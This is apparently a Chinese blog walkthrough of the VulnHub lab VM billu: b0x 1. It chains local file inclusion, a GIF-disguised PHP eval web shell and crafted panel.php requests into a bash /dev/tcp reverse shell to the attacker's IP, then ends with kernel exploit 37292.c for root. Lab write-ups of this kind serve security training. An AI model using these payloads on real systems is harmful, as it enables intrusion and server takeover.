Vulnhub靶场之billu: b0x 1


简介:

靶场链接:https://www.vulnhub.com/entry/billu-b0x,188/
下载之后是一个 .voa 的虚拟机文件,直接双击选择 VMware 或者 VirtualBox 打开即可,我这边用的 VMware 每次导入都会提醒重试,点击确认重试第二次就会正常了。一般这种靶场如果不是有特殊需要(比如内网)都是直接设置 NAT 网络模式即可。

一、信息收集

上张图:
img

1.1 nmap 扫描
我一般喜欢先用 nmap 扫描一波看看,看看有没有明显的系统或者 Web 中间件之类的漏洞,有的话就不用费劲儿去找别的漏洞了。

nmap -A 192.168.217.137

发现似乎就开放了 22 和 80 端口,

22 OpenSSH 5.9p1
80 Apache httpd 2.2.2

img

但是没有什么重要可利用信息,那么就从 Web 入手看看吧,打开看一下,发现就是一个登录框,嚣张的写着 Show me your SQLI skills 试了一下 admin' or 1=1 # 账号想绕过发现不行,然后又使用 sqlmap 跑了一波还是不行,暂时放弃。

img

左下角的 Powered By 也并不是一个 cms 之类的框架,只能另换出路了。

1.2 目录扫描
使用 kali 自带的 dirb 工具进行扫描,加载自带的大字典

img

看一下扫描结果吧,还是有一些收获的,我列举一下吧:

http://192.168.217.137/c
http://192.168.217.137/add
http://192.168.217.137/in
http://192.168.217.137/panel
http://192.168.217.137/phpmy/
http://192.168.217.137/test
http://192.168.217.137/images/
http://192.168.217.137/uploaded_images/

有用的信息也就这么多了,一个一个来看吧,先来说 c 页面吧,没反应。add 页面,一个上传页面,但是并不能真正的上传,打开页面源码发现就是一个单纯的页面,并未做任何上传处理。in 页面是 phpinfo 页面,暂时先放一放吧,也没啥重要的东东,一般通过 phpinfo 寻找网站真实 IP 和 Web 路径的时候使用较多。panel 跳转到了首页,放弃。phpmy 其实则是 phpmyadmin 没有密码,不想爆破,放弃。后面两个 immages 就是保存的图片之类的了,但是存在解析错误,可以任意查看,但是咱不是搞 src 放弃。那么就还剩一个 test 了,访问看一下:

img

'file' parameter is empty. Please provide file path in 'file' parameter

提示 file 参数为空,请提供 file 参数,那么我们可以想到是不是存在文件包含漏洞呢?我们知道 test 页面也就是 PHP 程序写的,那么真实文件名肯定也就是 test.php 了,并且在后面加上了 .php后缀也之后没有报错,加上其他后缀就报错了,说明肯定是了。那么我们先来一下文件读取吧,访问如下 url:
http://192.168.217.137/test.php?file=./../../../../../etc/passwd
加了那么多的 ./../../../ 这些是为了避免当前文件目录太深,无法找到 /etc/passwd 文件,但是访问之后似乎还是没反应,那么就再尝试一下 POST 方式的吧。

img

可以看到成功,并且下载到了 passwd 文件,打开看了一下,发现除了 root 用户外还存在一个名为 ica 的普通用户,暂时放着吧。既然我们可以利用这个文件包含漏洞,随后又立即试了一下远程文件包含,发现并不存在,那么就只能先利用这个本地文件包含漏洞了。

1.3 文件包含漏洞
具体的文件包含漏洞详细实验及介绍可看这篇文章《文件包含漏洞》
那我们现在可利用这个漏洞继续下载我们想要的东西了,我首先想到的就是下载 phpmyadmin 的配置文件,因为我们刚才已经找到了 phpmyadmin 的路径了。phpmyadmin 的默认配置文件名为 config.inc.php 读取一下:

file=./phpmy/config.inc.php

img

也是可以正常读取的,并且在配置文件中发现了一个账户名和密码:

$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'roottoor';

然后使用这个账号密码登录 phpmyadmin 发现无法登录,然后又试了一个登录 ssh 咦,顺利登录,顺利得到 root 权限,这也太。。。。尴尬了吧,本着学习姿势的态度我们不能就这么轻易地放过自己,虽有 root 但仍要保持一颗学习的心态。继续挖洞,就还按照刚才的思路继续读取其他文件试试吧。
继续读取一下我们刚才无法打开的 c.php

file=./c.php

img

在这个 c.php 文件中我们可以发现了又有一个账号密码,只能登陆到 phpmyadmin 那就登陆上看看吧,看看能不能使用修改日志文件进行 GetShell 登录之后发现并不可以,有关如何 phpmyadmin 到 GetShell 可以参考这篇文章。不可以的话那么就继续正常步骤走吧,在数据库中找到了一个 Web 用户:

img

可以使用这个登录到刚才的 index.php 首页。然后会跳转到 panel.php 发现有 Add User 选项,可以上传图片,此时内心想的就是上传一个图片马,那么我们构造一个图片马吧。创建一个 a.gif 文件,并使用 notepad++ 打开,写入:

GIF89
<?php @eval($_GET['cmd']);?>

添加了头信息主要是为了绕过上传限制,成功上传之后就可以发现图片已经上传到了 /uploaded_images 目录下,并且根据解析错误也能轻易发现我们上传的图片地址,这里没有直接上传成 a.php 主要是因为使用 burp 上传没有绕过限制。我本来想着还是使用刚才的那个 test.php 的文件包含,发现并不能包含,这个 test.php 包含似乎只能下载文件,那么我们就想着如果再找一个文件包含漏洞的文件的话,那么我们就可以使用那个文件来包含我们的一句话木马了。那就先继续使用 test.php 读取其他文件吧。读取 panel.php 成功获取之后我们先来一小波代码审计,大致看一下有什么信息吧。代码上半部分是头信息等,没啥用,下半部分是上传文件限制代码,没啥用,但是中间这部分有点意思:

if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
  include($dir.'/'.$choice.'.php');
  die();
}
if($choice==='show')
{
  include($dir.'/'.$choice.'.php');
  die();
}
else
{
  include($dir.'/'.$_POST['load']);
}
}

看见 include 我们就应该立马想到文件包含,这段代码主要是判断 $choice 的,其中 $dir=getcwd(); 也就是获取当前路径的。

当 $choice==='add' 时 执行 include($dir.'/'.$choice.'.php'); 代码,也就是文件包含 add.php
当 $choice==='show' 时 执行 include($dir.'/'.$choice.'.php'); 代码,也就是文件包含 show.php

除了以上两种情况之外呢,包含 $dir/load 文件,load 是 POST 过去的一个参数,详细可以抓下包看看就更清晰了。启动 burp 抓取访问 panel.php 页面,点击 Show User,可以看到数据包信息大致如下:

POST /panel.php HTTP/1.1
Host: 192.168.217.137
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
Referer: http://192.168.217.137/panel.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Connection: close
Cookie: PHPSESSID=snotop1m189gd2h1sk0ok9mnn7
Upgrade-Insecure-Requests: 1

load=show&continue=continue

POST 请求的 /panel.php 文件,然后 body 数据为:load=show&continue=continue 可以看出来其实 load 加载的其实我们通过上面的代码审计可以知道其实是 load=show.php 那么我们既然已经知道了存在文件包含,那么就包含我们刚才上传的一句话木马吧。访问请求如下

POST /panel.php?cmd=phpinfo(); HTTP/1.1
Host: 192.168.217.137
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
Referer: http://192.168.217.137/panel.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Connection: close
Cookie: PHPSESSID=snotop1m189gd2h1sk0ok9mnn7
Upgrade-Insecure-Requests: 1

load=/uploaded_images/gif.gif&continue=continue

img

可以看到已经成功执行了 phpinfo,继续执行 cat /passwd;ls 命令试试

img

依然成功,需要注意的是这里使用了 %20 代替空格,因为需要注意 url 编码问题。其余的就用 system 函数继续试试吧,我在执行 ifconfig 命令时无法执行感觉应该是权限的问题,其余的 whoami 都没问题。接下来就是如何拿 Shell 了,我先想到的是使用 echo 写入一个 PHP 一句话木马句话木马,然后直接上菜刀,比如是这样:

echo '<?php eval($_POST['pass']);?>' >> shell.php

然后 url 编码转为

%65%63%68%6f%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%70%61%73%73%27%5d%29%3b%3f%3e%27%20%3e%3e%20%73%68%65%6c%6c%2e%70%68%70

然后请求包这样写

img

试了之后发现不可以,那么很有可能就还是权限的问题,那么我们就试试在其他目录写一下吧,感觉刚才的那个 /uploaded_images 就是一个很好的选择,写进去试试,那么 payload 就要换成 echo '<?php eval($_POST['pass']);?>' >> ./uploaded_images/shell.php 试了一下,还是不行,继续换个思路。使用 nc 反弹吧:

1.4 nc 反弹
先在 kali 上开启监听 4444 端口:

nc -lvnp 4444

然后在 burp 中使用这个 payload:

echo "bash -i >& /dev/tcp/192.168.217.128/4444 0>&1" | bash

这里的 192.168.217.128 需要换成你的 kali 的 IP,然后我们将其 url 编码一下,得到如下:

%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%32%31%37%2e%31%32%38%2f%34%34%34%34%20%30%3e%26%31%22%20%7c%20%62%61%73%68

这时候才可以在 burp 中使用了:

img

点击 send 发送之后就可以在 kali 机器中看到成功反弹回来了 shell,并且是 www-data 权限

img

干活一定要记得权限维持,所以就记得先在可写目录写个马,也方便菜刀连接。我这里写了一个 shell.php 一句话木马,以备后用。

二、提权

上面我们已经得到了一个 www-data 的权限,接下来就是要提权了。关于提权这里有一个《利用Linux的SUID权限和PATH环境变量来提权》但是没有什么好利用的,就换一种吧。提权信息收集

uname -a #查看内核版本
cat /etc/issue #查看系统信息

发现居然是 Ubuntu 12.04.5 LTS 这么老的机器,肯定有漏洞,使用 kali 的 searchsploit 查一下

img

发现果然有提权漏洞,我本来是将 37292.c 这个文件在 kali 下使用 gcc 编译好,然后使用刚才创建的菜刀后门上传上去的,发现居然提示无法执行,那么我就直接将这个 37292.c 文件上传,然后在 Ubuntu 内编译试试:

gcc 37292.c -o exp
./exp

img

可以看到成功提权!需要注意的是有的服务器并不允许使用 gcc 编译,那么就需要准备一台和需要提权版本一样的虚拟机,在虚拟机里面编译好之后再上传。

参考链接:

Billu_b0x渗透实战:https://www.jianshu.com/p/2a7f61bbd862
VulnHub学习之Billu_b0x实战记录:https://www.cnblogs.com/hclly/p/12392417.html
‘VulnHub Billu b0x Walkthrough’:https://chirec.github.io/2019/05/16/VulnHub-Billu-b0x/
billu b0x靶场的渗透测试:https://blog.csdn.net/qq_32108547/article/details/91883135
VulnHub靶机学习——Billu_b0x实战记录:https://www.freebuf.com/column/201312.html
渗透测试 | VulnHub-Billu_b0x 实战:https://mp.weixin.qq.com/s/VfIwnb81_8PxL6mu6InzIQ
渗透测试billu_x0:https://blog.csdn.net/weixin_46164380/article/details/104729883


文章作者: Writeup
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Writeup !
 上一篇
Vulnhub靶场之billu: b0x 2 Vulnhub靶场之billu: b0x 2
简介:靶场链接:https://www.vulnhub.com/entry/billu-b0x-2,238/下载之后是一个 .voa 的虚拟机文件,直接双击选择 VMware 或者 VirtualBox 打开即可,我这边用的 VMware
2020-10-08
下一篇 
文件包含漏洞 文件包含漏洞
简介:文件包含漏洞主要可分为两种:本地文件包含漏洞和远程文件包含漏洞。在 PHP 开发中,可以通过文件包含函数加载另一个文件中的 PHP 代码,并且当PHP来执行,这会为开发者节省大量的时间。比如在 Web 网页项目开发中,会经常遇到一个网
2020-10-08
  目录